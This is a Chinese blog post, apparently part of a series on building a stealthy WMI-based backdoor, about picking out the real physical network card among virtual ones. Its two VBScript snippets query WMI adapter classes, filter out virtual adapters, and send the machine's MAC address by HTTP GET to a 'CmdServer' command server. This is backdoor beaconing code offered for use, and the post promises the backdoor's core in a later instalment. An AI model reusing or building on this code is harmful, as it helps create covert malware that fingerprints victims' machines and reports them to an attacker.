利用WMI打造完美“三无”后门-消灭一切假网卡

标签: , , , ,

Welcome!各位ScriptKid,欢迎来到脚本世界。

这年头,貌似除了我们呼吸的空气,什么都有假的,有的假的比那真的还真的。更别说在0101的虚拟世界了。hi,请问你是阿猫还是阿狗?:)

如何从一大堆诸如VMWARE之类的软件所模拟的假网卡中找到那块我们需要的真实的物理网卡并且确定确实有个真的网线插在上面,是摆在我们面前的第一个问题。更何况,用MAC地址来进行机器管理,相对还比较可靠^0^

WMI里主要有关网卡的类有三个:Win32_NetworkAdapter,Win32_NetworkAdapterConfiguration和Win32_NetworkAdapterSetting,都是位于CIMV2名称空间。

Win32_NetworkAdapterSetting就不说了,只有2个属性:Element和Setting。

Win32_NetworkAdapter,Win32_NetworkAdapterConfiguration里面都有关于网卡的大量的属性数据,看来还比较靠谱。

以下是我用来判断真实物理网卡的第一份代码:

Set MacAddressInfos = WMIService.ExecQuery("Select * from Win32_NetworkAdapterConfiguration Where IPEnabled = True")
For Each MacAddressInfo in MacAddressInfos
          strIPAddress = Join(MacAddressInfo.IPAddress, ",")
   If NOT (MacAddressInfo.ServiceName = "VMnetAdapter") AND NOT (MacAddressInfo.ServiceName = "NdisIP") AND NOT (strIPAddress = "0.0.0.0") AND NOT (strIPAddress = "") Then
   Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/"&ServerMacFile&"?macaddress="&MacAddressInfo.MACAddress,true
   Http.send
          Else

   End If

判断条件是当该网卡在网络上使用IP,并且服务名不是VMnetAdapter或者NdisIP,并且IP地址不为空或者0.0.0.0时,这网卡就是真实物理网卡。开始时,美滋滋的,真的找出物理网卡了,后来越想越不对劲,要是这虚拟网卡不是VMWARE创建的虚拟网卡,那不就抓瞎了?经过强烈的大脑活动,有了以下的这份判断真实物理网卡的代码:

Set MacAddressInfos = WMIService.ExecQuery("Select * from Win32_NetworkAdapter")
For Each MacAddressInfo in MacAddressInfos
If NOT IsNull(MacAddressInfo.MACAddress) Then
   If (InStr(MacAddressInfo.PNPDeviceID,"PCI") > 0) And (MacAddressInfo.NetConnectionStatus = 2) Then
   Wscript.sleep 3000
   Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/"&ServerMacFile&"?macaddress="&MacAddressInfo.MACAddress,true
   Http.send
   Wscript.sleep 3000
   End If
End If

判断条件是在mac地址不为空的网卡中,如果PNPDeviceID中还有PCI字样并且网络连接状态是已连接上的网卡,那就是咱要找的真实物理网卡。经过威逼利诱,巧取豪夺,坑蒙拐骗在超过20台PC上的测试后,目前还没出现过差错。当然了,面对多个真实物理网卡的环境,加上第一份代码中的某些判断条件,会更加准确。

如果有同学认为有可能绕过这个判断的话,欢迎挑战,我会及时修正。

明天就是周末了,台风“鹦鹉”也要来了。如果我不被台风吹跑并且也不用考英语考试的话。。会给大家继续下一篇

《利用WMI打造完美“三无”后门-The Core》

原文链接:利用WMI打造完美“三无”后门-消灭一切假网卡

赞赏

微信赞赏支付宝赞赏

随机文章:

  1. C语言中size_t的陷阱
  2. PHP:小心urldecode引发的SQL注入漏洞
  3. PHP函数源码中的return_value变量
  4. VBS基础教程第二篇
  5. 你可以分配多大的内存?

留下回复